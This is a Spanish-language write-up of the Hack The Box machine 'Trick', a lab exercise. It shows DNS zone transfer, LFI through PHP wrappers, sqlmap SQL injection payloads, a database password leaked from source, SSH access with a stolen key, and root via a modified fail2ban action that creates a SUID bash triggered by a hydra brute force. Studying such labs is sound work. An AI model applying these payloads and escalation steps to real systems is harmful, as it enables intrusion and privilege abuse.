Multiples vulnerabilidades en el sitio web nos permitieron acceder a archivos locales de la máquina, que, finalmente nos dieron acceso por SSH. Finalmente escalamos privilegios mediante fail2ban.
nmap muestra el puerto 53 abierto, utilizando dig y asumiendo que el dominio sigue el patron de las máquinas de htb identificamos dos subdominios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
π ~/htb/trick ❯ dig trick.htb @10.10.11.166 axfr
; <<>> DiG 9.18.0-2-Debian <<>> trick.htb @10.10.11.166 axfr
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5604800864002419200604800trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5604800864002419200604800;; Query time: 92 msec
;; SERVER: 10.10.11.166#53(10.10.11.166)(TCP);; WHEN: Thu Jun 30 20:03:00 EDT 2022;; XFR size: 6 records (messages 1, bytes 231) π ~/htb/trick ❯
trick.htb
Tiene el mismo contenido que el observado en la dirección IP.
root.trick.htb
El subdominio root contiene lo mismo que el dominio, un formulario.
Payroll
Preprod-payroll
prerpod-payrooll muestra un formulario para un login.
Además el codigo fuente del sitio muestra una solicitudo POST con ajax a la pagina ajax.php, tambien observamos las paginas voting.php y index.php, esta ultima tiene como parametro page y el valor es home, por lo que podría tratarse de una vulnerabilidad LFI.
π ~/htb/trick ❯ feroxbuster -u http://preprod-payroll.trick.htb/ -w $MD --depth 1 -x php,html
___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.5.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://preprod-payroll.trick.htb/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.5.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php, html] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 1 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 267l 527w 0c http://preprod-payroll.trick.htb/index.php => login.php
200 GET 177l 313w 0c http://preprod-payroll.trick.htb/login.php
200 GET 45l 100w 0c http://preprod-payroll.trick.htb/header.php
200 GET 81l 141w 0c http://preprod-payroll.trick.htb/users.php
200 GET 27l 31w 0c http://preprod-payroll.trick.htb/home.php
301 GET 7l 12w 185c http://preprod-payroll.trick.htb/assets => http://preprod-payroll.trick.htb/assets/
200 GET 0l 0w 0c http://preprod-payroll.trick.htb/ajax.php
301 GET 7l 12w 185c http://preprod-payroll.trick.htb/database => http://preprod-payroll.trick.htb/database/
200 GET 23l 84w 0c http://preprod-payroll.trick.htb/navbar.php
200 GET 179l 327w 0c http://preprod-payroll.trick.htb/department.php
200 GET 20l 42w 0c http://preprod-payroll.trick.htb/topbar.php
200 GET 196l 363w 0c http://preprod-payroll.trick.htb/position.php
200 GET 95l 155w 0c http://preprod-payroll.trick.htb/employee.php
Al no tener credenciales o acceso al sitio visitamos y observamos el codigo de cada una de las páginas que feroxbuster encontró, users.php muestra nombre y usuario, también se muestran algunas acciones como editar y eliminar.
En el codigo fuente se observa distintas solicitudes segun la acción, para nuevo usuario y editar usuario vemos que redirige a la pagina manage_user.php segun la acción se envia el id de usuario, finalmente para eliminar un usuario realiza una solicitud POST hacia ajax.php con el id del usuario.
<script>$('#new_user').click(function(){uni_modal('New User','manage_user.php')})$('.edit_user').click(function(){uni_modal('Edit User','manage_user.php?id='+$(this).attr('data-id'))})$('.delete_user').click(function(){_conf("Are you sure to delete this user?","delete_user",[$(this).attr('data-id')])})functiondelete_user($id){start_load()$.ajax({url:'ajax.php?action=delete_user',method:'POST',data:{id:$id},success:function(resp){if(resp==1){alert_toast("Data successfully deleted",'success')setTimeout(function(){location.reload()},1500)}}})}</script>
Creds
manage_users.php muestra unicamente un formulario, en el codigo fuente se muestra una solicitud para ajax.php con los datos del formulario para crear un usuario.
Como sabemos es posible pasarle un id a la pagina para editar un usuario, observamos que el usuario con id 1 es el Administrador, el formulario contiene la contraseña, tras cambiar el tipo de input logramos obtener la contraseña.
Ejecutamos ffuf con una lista de ids para verificar la existencia de algun otro usuario, unicamente encontramos el id del administrador.
Tras ingresar con las credenciales vemos información sobre empleados, pagos, departamentos, etc. Vemos que al visitar cada pagina el valor del parametro de index cambia index.php?page=[pagina].
Utilizando un wrapper de PHP logramos obtener el codigo fuente del index. Observamos en el codigo que utiliza include segun el valor que se pase, al final agrega la extensión php, por lo que solo podriamos acceder a paginas con esta extension.
//admin_class.php
<?phpsession_start();ini_set('display_errors',1);ClassAction{private$db;publicfunction__construct(){ob_start();include'db_connect.php';$this->db=$conn;}function__destruct(){$this->db->close();ob_end_flush();}functionlogin(){extract($_POST);$qry=$this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");if($qry->num_rows>0){foreach($qry->fetch_array()as$key=>$value){if($key!='passwors'&&!is_numeric($key))$_SESSION['login_'.$key]=$value;}return1;}else{return3;}}functionlogin2(){extract($_POST);$qry=$this->db->query("SELECT * FROM users where username = '".$email."' and password = '".md5($password)."' ");if($qry->num_rows>0){foreach($qry->fetch_array()as$key=>$value){if($key!='passwors'&&!is_numeric($key))$_SESSION['login_'.$key]=$value;}return1;}else{return3;}}functionlogout(){session_destroy();foreach($_SESSIONas$key=>$value){unset($_SESSION[$key]);}header("location:login.php");}functionlogout2(){session_destroy();foreach($_SESSIONas$key=>$value){unset($_SESSION[$key]);}header("location:../index.php");}functionsave_user(){extract($_POST);$data=" name = '$name' ";$data.=", username = '$username' ";$data.=", password = '$password' ";$data.=", type = '$type' ";if(empty($id)){$save=$this->db->query("INSERT INTO users set ".$data);}else{$save=$this->db->query("UPDATE users set ".$data." where id = ".$id);}if($save){return1;}}functionsignup(){extract($_POST);$data=" name = '$name' ";$data.=", contact = '$contact' ";$data.=", address = '$address' ";$data.=", username = '$email' ";$data.=", password = '".md5($password)."' ";$data.=", type = 3";$chk=$this->db->query("SELECT * FROM users where username = '$email' ")->num_rows;if($chk>0){return2;exit;}$save=$this->db->query("INSERT INTO users set ".$data);if($save){$qry=$this->db->query("SELECT * FROM users where username = '".$email."' and password = '".md5($password)."' ");if($qry->num_rows>0){foreach($qry->fetch_array()as$key=>$value){if($key!='passwors'&&!is_numeric($key))$_SESSION['login_'.$key]=$value;}}return1;}}functionsave_settings(){extract($_POST);$data=" name = '".str_replace("'","’",$name)."' ";$data.=", email = '$email' ";$data.=", contact = '$contact' ";$data.=", about_content = '".htmlentities(str_replace("'","’",$about))."' ";if($_FILES['img']['tmp_name']!=''){$fname=strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];$move=move_uploaded_file($_FILES['img']['tmp_name'],'assets/img/'.$fname);$data.=", cover_img = '$fname' ";}// echo "INSERT INTO system_settings set ".$data;
$chk=$this->db->query("SELECT * FROM system_settings");if($chk->num_rows>0){$save=$this->db->query("UPDATE system_settings set ".$data);}else{$save=$this->db->query("INSERT INTO system_settings set ".$data);}if($save){$query=$this->db->query("SELECT * FROM system_settings limit 1")->fetch_array();foreach($queryas$key=>$value){if(!is_numeric($key))$_SESSION['setting_'.$key]=$value;}return1;}}functionsave_employee(){extract($_POST);$data=" firstname='$firstname' ";$data.=", middlename='$middlename' ";$data.=", lastname='$lastname' ";$data.=", position_id='$position_id' ";$data.=", department_id='$department_id' ";$data.=", salary='$salary' ";if(empty($id)){$i=1;while($i==1){$e_num=date('Y').'-'.mt_rand(1,9999);$chk=$this->db->query("SELECT * FROM employee where employee_no = '$e_num' ")->num_rows;if($chk<=0){$i=0;}}$data.=", employee_no='$e_num' ";$save=$this->db->query("INSERT INTO employee set ".$data);}else{$save=$this->db->query("UPDATE employee set ".$data." where id=".$id);}if($save)return1;}functiondelete_employee(){extract($_POST);$delete=$this->db->query("DELETE FROM employee where id = ".$id);if($delete)return1;}functionsave_department(){extract($_POST);$data=" name='$name' ";if(empty($id)){$save=$this->db->query("INSERT INTO department set ".$data);}else{$save=$this->db->query("UPDATE department set ".$data." where id=".$id);}if($save)return1;}functiondelete_department(){extract($_POST);$delete=$this->db->query("DELETE FROM department where id = ".$id);if($delete)return1;}functionsave_position(){extract($_POST);$data=" name='$name' ";$data.=", department_id = '$department_id' ";if(empty($id)){$save=$this->db->query("INSERT INTO position set ".$data);}else{$save=$this->db->query("UPDATE position set ".$data." where id=".$id);}if($save)return1;}functiondelete_position(){extract($_POST);$delete=$this->db->query("DELETE FROM position where id = ".$id);if($delete)return1;}functionsave_allowances(){extract($_POST);$data=" allowance='$allowance' ";$data.=", description = '$description' ";if(empty($id)){$save=$this->db->query("INSERT INTO allowances set ".$data);}else{$save=$this->db->query("UPDATE allowances set ".$data." where id=".$id);}if($save)return1;}functiondelete_allowances(){extract($_POST);$delete=$this->db->query("DELETE FROM allowances where id = ".$id);if($delete)return1;}functionsave_employee_allowance(){extract($_POST);foreach($allowance_idas$k=>$v){$data=" employee_id='$employee_id' ";$data.=", allowance_id = '$allowance_id[$k]' ";$data.=", type = '$type[$k]' ";$data.=", amount = '$amount[$k]' ";$data.=", effective_date = '$effective_date[$k]' ";$save[]=$this->db->query("INSERT INTO employee_allowances set ".$data);}if(isset($save))return1;}functiondelete_employee_allowance(){extract($_POST);$delete=$this->db->query("DELETE FROM employee_allowances where id = ".$id);if($delete)return1;}functionsave_deductions(){extract($_POST);$data=" deduction='$deduction' ";$data.=", description = '$description' ";if(empty($id)){$save=$this->db->query("INSERT INTO deductions set ".$data);}else{$save=$this->db->query("UPDATE deductions set ".$data." where id=".$id);}if($save)return1;}functiondelete_deductions(){extract($_POST);$delete=$this->db->query("DELETE FROM deductions where id = ".$id);if($delete)return1;}functionsave_employee_deduction(){extract($_POST);foreach($deduction_idas$k=>$v){$data=" employee_id='$employee_id' ";$data.=", deduction_id = '$deduction_id[$k]' ";$data.=", type = '$type[$k]' ";$data.=", amount = '$amount[$k]' ";$data.=", effective_date = '$effective_date[$k]' ";$save[]=$this->db->query("INSERT INTO employee_deductions set ".$data);}if(isset($save))return1;}functiondelete_employee_deduction(){extract($_POST);$delete=$this->db->query("DELETE FROM employee_deductions where id = ".$id);if($delete)return1;}functionsave_employee_attendance(){extract($_POST);foreach($employee_idas$k=>$v){$datetime_log[$k]=date("Y-m-d H:i",strtotime($datetime_log[$k]));$data=" employee_id='$employee_id[$k]' ";$data.=", log_type = '$log_type[$k]' ";$data.=", datetime_log = '$datetime_log[$k]' ";$save[]=$this->db->query("INSERT INTO attendance set ".$data);}if(isset($save))return1;}functiondelete_employee_attendance(){extract($_POST);$date=explode('_',$id);$dt=date("Y-m-d",strtotime($date[1]));$delete=$this->db->query("DELETE FROM attendance where employee_id = '".$date[0]."' and date(datetime_log) ='$dt' ");if($delete)return1;}functiondelete_employee_attendance_single(){extract($_POST);$delete=$this->db->query("DELETE FROM attendance where id = $id ");if($delete)return1;}functionsave_payroll(){extract($_POST);$data=" date_from='$date_from' ";$data.=", date_to = '$date_to' ";$data.=", type = '$type' ";if(empty($id)){$i=1;while($i==1){$ref_no=date('Y').'-'.mt_rand(1,9999);$chk=$this->db->query("SELECT * FROM payroll where ref_no = '$ref_no' ")->num_rows;if($chk<=0){$i=0;}}$data.=", ref_no='$ref_no' ";$save=$this->db->query("INSERT INTO payroll set ".$data);}else{$save=$this->db->query("UPDATE payroll set ".$data." where id=".$id);}if($save)return1;}functiondelete_payroll(){extract($_POST);$delete=$this->db->query("DELETE FROM payroll where id = ".$id);if($delete)return1;}functioncalculate_payroll(){extract($_POST);$am_in="08:00";$am_out="12:00";$pm_in="13:00";$pm_out="17:00";$this->db->query("DELETE FROM payroll_items where payroll_id=".$id);$pay=$this->db->query("SELECT * FROM payroll where id = ".$id)->fetch_array();$employee=$this->db->query("SELECT * FROM employee");if($pay['type']==1)$dm=22;else$dm=11;$calc_days=abs(strtotime($pay['date_to']." 23:59:59"))-strtotime($pay['date_from']." 00:00:00 -1 day");$calc_days=floor($calc_days/(60*60*24));$att=$this->db->query("SELECT * FROM attendance where date(datetime_log) between '".$pay['date_from']."' and '".$pay['date_from']."' order by UNIX_TIMESTAMP(datetime_log) asc ")ordie(mysqli_error());while($row=$att->fetch_array()){$date=date("Y-m-d",strtotime($row['datetime_log']));if($row['log_type']==1||$row['log_type']==3){if(!isset($attendance[$row['employee_id']."_".$date]['log'][$row['log_type']]))$attendance[$row['employee_id']."_".$date]['log'][$row['log_type']]=$row['datetime_log'];}else{$attendance[$row['employee_id']."_".$date]['log'][$row['log_type']]=$row['datetime_log'];}}$deductions=$this->db->query("SELECT * FROM employee_deductions where (`type` = '".$pay['type']."' or (date(effective_date) between '".$pay['date_from']."' and '".$pay['date_from']."' ) ) ");$allowances=$this->db->query("SELECT * FROM employee_allowances where (`type` = '".$pay['type']."' or (date(effective_date) between '".$pay['date_from']."' and '".$pay['date_from']."' ) ) ");while($row=$deductions->fetch_assoc()){$ded[$row['employee_id']][]=array('did'=>$row['deduction_id'],"amount"=>$row['amount']);}while($row=$allowances->fetch_assoc()){$allow[$row['employee_id']][]=array('aid'=>$row['allowance_id'],"amount"=>$row['amount']);}while($row=$employee->fetch_assoc()){$salary=$row['salary'];$daily=$salary/22;$min=(($salary/22)/8)/60;$absent=0;$late=0;$dp=22/$pay['type'];$present=0;$net=0;$allow_amount=0;$ded_amount=0;for($i=0;$i<$calc_days;$i++){$dd=date("Y-m-d",strtotime($pay['date_from']." +".$i." days"));$count=0;$p=0;if(isset($attendance[$row['id']."_".$dd]['log']))$count=count($attendance[$row['id']."_".$dd]['log']);if(isset($attendance[$row['id']."_".$dd]['log'][1])&&isset($attendance[$row['id']."_".$dd]['log'][2])){$att_mn=abs(strtotime($attendance[$row['id']."_".$dd]['log'][2]))-strtotime($attendance[$row['id']."_".$dd]['log'][1]);$att_mn=floor($att_mn/60);$net+=($att_mn*$min);$late+=(240-$att_mn);$present+=.5;}if(isset($attendance[$row['id']."_".$dd]['log'][3])&&isset($attendance[$row['id']."_".$dd]['log'][4])){$att_mn=abs(strtotime($attendance[$row['id']."_".$dd]['log'][4]))-strtotime($attendance[$row['id']."_".$dd]['log'][3]);$att_mn=floor($att_mn/60);$net+=($att_mn*$min);$late+=(240-$att_mn);$present+=.5;}}$ded_arr=array();$all_arr=array();if(isset($allow[$row['id']])){foreach($allow[$row['id']]as$arow){$all_arr[]=$arow;$net+=$arow['amount'];$allow_amount+=$arow['amount'];}}if(isset($ded[$row['id']])){foreach($ded[$row['id']]as$drow){$ded_arr[]=$drow;$net-=$drow['amount'];$ded_amount+=$drow['amount'];}}$absent=$dp-$present;$data=" payroll_id = '".$pay['id']."' ";$data.=", employee_id = '".$row['id']."' ";$data.=", absent = '$absent' ";$data.=", present = '$present' ";$data.=", late = '$late' ";$data.=", salary = '$salary' ";$data.=", allowance_amount = '$allow_amount' ";$data.=", deduction_amount = '$ded_amount' ";$data.=", allowances = '".json_encode($all_arr)."' ";$data.=", deductions = '".json_encode($ded_arr)."' ";$data.=", net = '$net' ";$save[]=$this->db->query("INSERT INTO payroll_items set ".$data);}if(isset($save)){$this->db->query("UPDATE payroll set status = 1 where id = ".$pay['id']);return1;}}}
1
2
3
4
//db_connect
<?php
$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));
También logramos observar el codigo de manage_user.php donde vemos que realiza un query segun el id que se le pase sin ningun tipo de filtro, por lo que podríamos existir alguna vulnerabilidad sqli.
1
2
3
4
5
6
7
8
9
10
<?phpinclude('db_connect.php');if(isset($_GET['id'])){$user=$conn->query("SELECT * FROM users where id =".$_GET['id']);foreach($user->fetch_array()as$k=>$v){$meta[$k]=$v;}}?>// [.. snip ..]
Payroll - SQLi
Ejecutamos sqlmap, observamos que el parametro id es inyectable y observamos dos bases de datos.
π ~/htb/trick ❯ ../streamio/sqlmap/sqlmap.py -u "http://preprod-payroll.trick.htb/manage_user.php?id=1" --dbs
___
__H__
___ ___["]_____ ___ ___ {1.6.6.12#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:33:21 /2022-06-29/
[23:33:21] [INFO] testing connection to the target URL
[.. snip ..]
sqlmap identified the following injection point(s) with a total of 86 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1127=1127
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9338 FROM (SELECT(SLEEP(5)))EMCU)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-1119 UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7671,0x4546476c546a4379635964587a6e7848434d475a75764d536b64566556674e524453767a5455676e,0x716a787a71),NULL,NULL,NULL,NULL,NULL-- -
---
[23:33:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:33:50] [INFO] fetching database names
[23:33:51] [INFO] retrieved: 'information_schema'
[23:33:51] [INFO] retrieved: 'payroll_db'
available databases [2]:
[*] information_schema
[*] payroll_db
[.. snip ..]
Vemos que existe solo un usuario dentro de la base de datos, y no vemos algun otra tabla con información sensible.
El sitio esta corriendo en un nginx, obtuvimos el archivo sites-available/default, se muestran (server_name) el dominio y subdominio que encontramos, además encontramos uno nuevo: preprod-marketing.trick.htb.
Tras navegar por las paginas vemos que al igula que en Payroll pasa como valor el nombre de la pagina con la extensión, por lo que nuevamente podría tratarse de una vulnerabilidad LFI.
Obtuvimos el contenido de /etc/passwd tras intenter distintos “payloads”, observamos al usuario michael.
π ~/htb/trick ❯ ssh -i michael_id_rsa michael@trick.htb
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jun 30 05:23:53 2022 from 10.10.14.33
-bash-5.0$ whoami;pwdmichael
/home/michael
-bash-5.0$ ls
Desktop Documents Downloads Music Pictures Public Templates user.txt Videos
-bash-5.0$ cat user.txt
5b5ad3d88d0521fa5e49bcd1150731eb
-bash-5.0$
Privesc
Tras obtener una shell en la máquina ejecutamos sudo -l lo cual nos mostró el servicio fail2ban.
1
2
3
4
5
6
7
8
9
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$ ls -lah /etc/init.d/fail2ban
-rwxr-xr-x 1 root root 6.6K Sep 232018 /etc/init.d/fail2ban
michael@trick:~$
Tras realizar una pequeña investigación sobre fail2ban encontramos un post que habla sobre el funcionamiento en linux y menciona diferentes archivos. El archivo fail2ban.conf contiene información sobre el pid, log, socket, etc., jail.local contiene las “politicas” y donde se configura el filtro a utilizar en X servicio, puerto, etc., como ejemplo SSH donde menciona el filtro sshd este filtro se encuentra bajo el directorio filter.d/, basicamente realiza una busqueda de caracteres o strings dentro de los logs del servicio, de encontrarse con uno de estos ejecuta un action, este se encuentra bajo el directorio action.d/ en este caso iptables-multiport.conf, este ultimo ejecuta distintos comandos segun el action, en este caso ejecuta el comando iptables.
Con esto sabemos que es posible ejecutar comandos utilizando actions, primero verificamos cual es la configuración de fail2ban con fail2ban-client.
[.. snip ..]Options:
-c <DIR> configuration directory
-s <FILE> socket path
-p <FILE> pidfile path
--loglevel <LEVEL> logging level
--logtarget <TARGET> logging target, use file-name or stdout, stderr, syslog or sysout.
--syslogsocket auto|<FILE>
-d dump configuration. For debugging
--dp, --dump-pretty dump the configuration using more human readable representation
-t, --test test configuration (can be also specified with start parameters) -i interactive mode
-v increase verbosity
-q decrease verbosity
-x force execution of the server (remove socket file) -b start server in background (default) -f start server in foreground
--async start server in async mode (for internal usage only, don't read configuration)
--timeout timeout to wait for the server (for internal usage only, don't read configuration) --str2sec <STRING> convert time abbreviation format to seconds
-h, --help display this help message
-V, --version print the version
[.. snip ..]
Con la flag -d observamos la configuración, en este caso vemos que el filtro ssh está activo, se observa el action (addaction) iptables-multiport.
michael@trick:/etc/fail2ban$ fail2ban-client -d
['set', 'syslogsocket', 'auto']['set', 'loglevel', 'INFO']['set', 'logtarget', '/var/log/fail2ban.log']['set', 'dbfile', '/var/lib/fail2ban/fail2ban.sqlite3']['set', 'dbpurgeage', '60']['add', 'sshd', 'auto']['set', 'sshd', 'maxlines', 1]['set', 'sshd', 'prefregex', '^<F-MLFID>(?:\\[\\])?\\s*(?:<[^.]+\\.[^.]+>\\s+)?(?:\\S+\\s+)?(?:kernel: \\[ *\\d+\\.\\d+\\]\\s+)?(?:@vserver_\\S+\\s+)?(?:(?:(?:\\[\\d+\\])?:\\s+[\\[\\(]?sshd(?:\\(\\S+\\))?[\\]\\)]?:?|[\\[\\(]?sshd(?:\\(\\S+\\))?[\\]\\)]?:?(?:\\[\\d+\\])?:?)\\s+)?(?:\\[ID \\d+ \\S+\\]\\s+)?</F-MLFID>(?:(?:error|fatal): (?:PAM: )?)?<F-CONTENT>.+</F-CONTENT>$']['multi-set', 'sshd', 'addfailregex', ['^[aA]uthentication (?:failure|error|failed) for <F-USER>.*</F-USER> from <HOST>( via \\S+)?\\s*(?: \\[preauth\\])?\\s*$', '^User not known to the underlying authentication module for <F-USER>.*</F-USER> from <HOST>\\s*(?: \\[preauth\\])?\\s*$', '^Failed \\S+ for invalid user <F-USER>(?P<cond_user>\\S+)|(?:(?! from ).)*?</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?(?: ssh\\d*)?(?(cond_user): |(?:(?:(?! from ).)*)$)', '^Failed \\b(?!publickey)\\S+ for (?P<cond_inv>invalid user )?<F-USER>(?P<cond_user>\\S+)|(?(cond_inv)(?:(?! from ).)*?|[^:]+)</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?(?: ssh\\d*)?(?(cond_user): |(?:(?:(?! from ).)*)$)', '^<F-USER>ROOT</F-USER> LOGIN REFUSED.* FROM <HOST>\\s*(?: \\[preauth\\])?\\s*$', '^[iI](?:llegal|nvalid) user <F-USER>.*?</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because not listed in AllowUsers\\s*(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because listed in DenyUsers\\s*(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because not in any group\\s*(?: \\[preauth\\])?\\s*$', '^refused connect from \\S+ \\(<HOST>\\)\\s*(?: \\[preauth\\])?\\s*$', '^Received <F-MLFFORGET>disconnect</F-MLFFORGET> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?:\\s*3: .*: Auth fail(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because a group is listed in DenyGroups\\s*(?: \\[preauth\\])?\\s*$', "^User <F-USER>.+</F-USER> from <HOST> not allowed because none of user's groups are listed in AllowGroups\\s*(?: \\[preauth\\])?\\s*$", '^pam_unix\\(sshd:auth\\):\\s+authentication failure;\\s*logname=\\S*\\s*uid=\\d*\\s*euid=\\d*\\s*tty=\\S*\\s*ruser=<F-USER>\\S*</F-USER>\\s*rhost=<HOST>\\s.*(?: \\[preauth\\])?\\s*$', '^(error: )?maximum authentication attempts exceeded for <F-USER>.*</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?(?: ssh\\d*)?(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> not allowed because account is locked(?: \\[preauth\\])?\\s*', '^<F-MLFFORGET>Disconnecting</F-MLFFORGET>: Too many authentication failures(?: for <F-USER>.+?</F-USER>)?(?: \\[preauth\\])?\\s*', '^<F-NOFAIL>Received <F-MLFFORGET>disconnect</F-MLFFORGET></F-NOFAIL> from <HOST>: 11:', '^<F-NOFAIL>Connection <F-MLFFORGET>closed</F-MLFFORGET></F-NOFAIL> by <HOST>(?: \\[preauth\\])?\\s*$', '^<F-MLFFORGET><F-NOFAIL>Accepted publickey</F-NOFAIL></F-MLFFORGET> for \\S+ from <HOST>(?:\\s|$)', '^<F-NOFAIL>Connection from</F-NOFAIL> <HOST>']]['set', 'sshd', 'datepattern', '{^LN-BEG}']['set', 'sshd', 'addjournalmatch', '_SYSTEMD_UNIT=sshd.service', '+', '_COMM=sshd']['set', 'sshd', 'addlogpath', '/var/log/auth.log', 'head']['set', 'sshd', 'logencoding', 'auto']['set', 'sshd', 'maxretry', 5]['set', 'sshd', 'findtime', '10s']['set', 'sshd', 'bantime', '10s']['set', 'sshd', 'usedns', 'warn']['set', 'sshd', 'ignorecommand', '']['set', 'sshd', 'addaction', 'iptables-multiport']['multi-set', 'sshd', 'action', 'iptables-multiport', [['actionstart', '<iptables> -N f2b-sshd\n<iptables> -A f2b-sshd -j RETURN\n<iptables> -I INPUT -p tcp -m multiport --dports ssh -j f2b-sshd'], ['actionstop', '<iptables> -D INPUT -p tcp -m multiport --dports ssh -j f2b-sshd\n<iptables> -F f2b-sshd\n<iptables> -X f2b-sshd'], ['actionflush', '<iptables> -F f2b-sshd'], ['actioncheck', "<iptables> -n -L INPUT | grep -q 'f2b-sshd[ \\t]'"], ['actionban', '<iptables> -I f2b-sshd 1 -s <ip> -j <blocktype>'], ['actionunban', '<iptables> -D f2b-sshd -s <ip> -j <blocktype>'], ['name', 'sshd'], ['bantime', '10s'], ['port', 'ssh'], ['protocol', 'tcp'], ['chain', '<known/chain>'], ['actname', 'iptables-multiport'], ['blocktype', 'REJECT --reject-with icmp-port-unreachable'], ['returntype', 'RETURN'], ['lockingopt', '-w'], ['iptables', 'iptables <lockingopt>'], ['blocktype?family=inet6', 'REJECT --reject-with icmp6-port-unreachable'], ['iptables?family=inet6', 'ip6tables <lockingopt>']]]['start', 'sshd']michael@trick:/etc/fail2ban$
Además observamos que tenemos permisos sobre los archivos dentro del directorio ya que pertenecemos al grupo security.
1
2
3
4
5
michael@trick:/etc/fail2ban/action.d$ ls -ld .
drwxrwx--- 2 root security 4096 Jun 30 07:48 .
michael@trick:/etc/fail2ban/action.d$ id
uid=1001(michael)gid=1001(michael)groups=1001(michael),1002(security)michael@trick:/etc/fail2ban/action.d$
Los permisos del archivo no nos permite realizar modificaciones por lo que le cambiamos el nombre y creamos uno nuevo, en este agregamos un comando para darle permisos SUID a una copia de bash en la definicion de actionstart.
Damos permisos al archivo de configuración chmod 0644 iptables-multiport.conf.
Aparentemente existe un cronjob que restaura los archivos de configuracion, por lo que agregamos en una linea los comandos necesarios para modificar y reiniciar el servicio.
Luego de ello, ejecutamos un ataque con hydra, ya que fail2ban está activo en el servicio SSH tendría que activar el action que modificamos.
1
2
3
4
5
6
7
8
π ~/htb/trick ❯ hydra -l root -P $ROCK ssh://10.10.11.166 -t 64Hydra v9.2 (c)2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-30 02:17:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://10.10.11.166:22/
^C
Luego de unos segundos observamos que la copia de bash fue realizada, ejecutamos bash con la flag -p logrando obtener una shell como root y finalmente la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
michael@trick:/dev/shm$ ls -l /tmp/fail2root
-rwsrwsrwx 1 root root 1168776 Jun 30 08:39 /tmp/fail2root
michael@trick:/dev/shm$ /tmp/fail2root -p
fail2root-5.0# id
uid=1001(michael)gid=1001(michael)euid=0(root)egid=0(root)groups=0(root),1001(michael),1002(security)fail2root-5.0# cd /root
fail2root-5.0# ls
f2b.sh fail2ban root.txt set_dns.sh
fail2root-5.0# cat root.txt
dd5e0d8e375ef57af87dbde9df704fca
fail2root-5.0#
Observamos en el directorio /root un script que restaura los archivos de configuracion de fail2ban.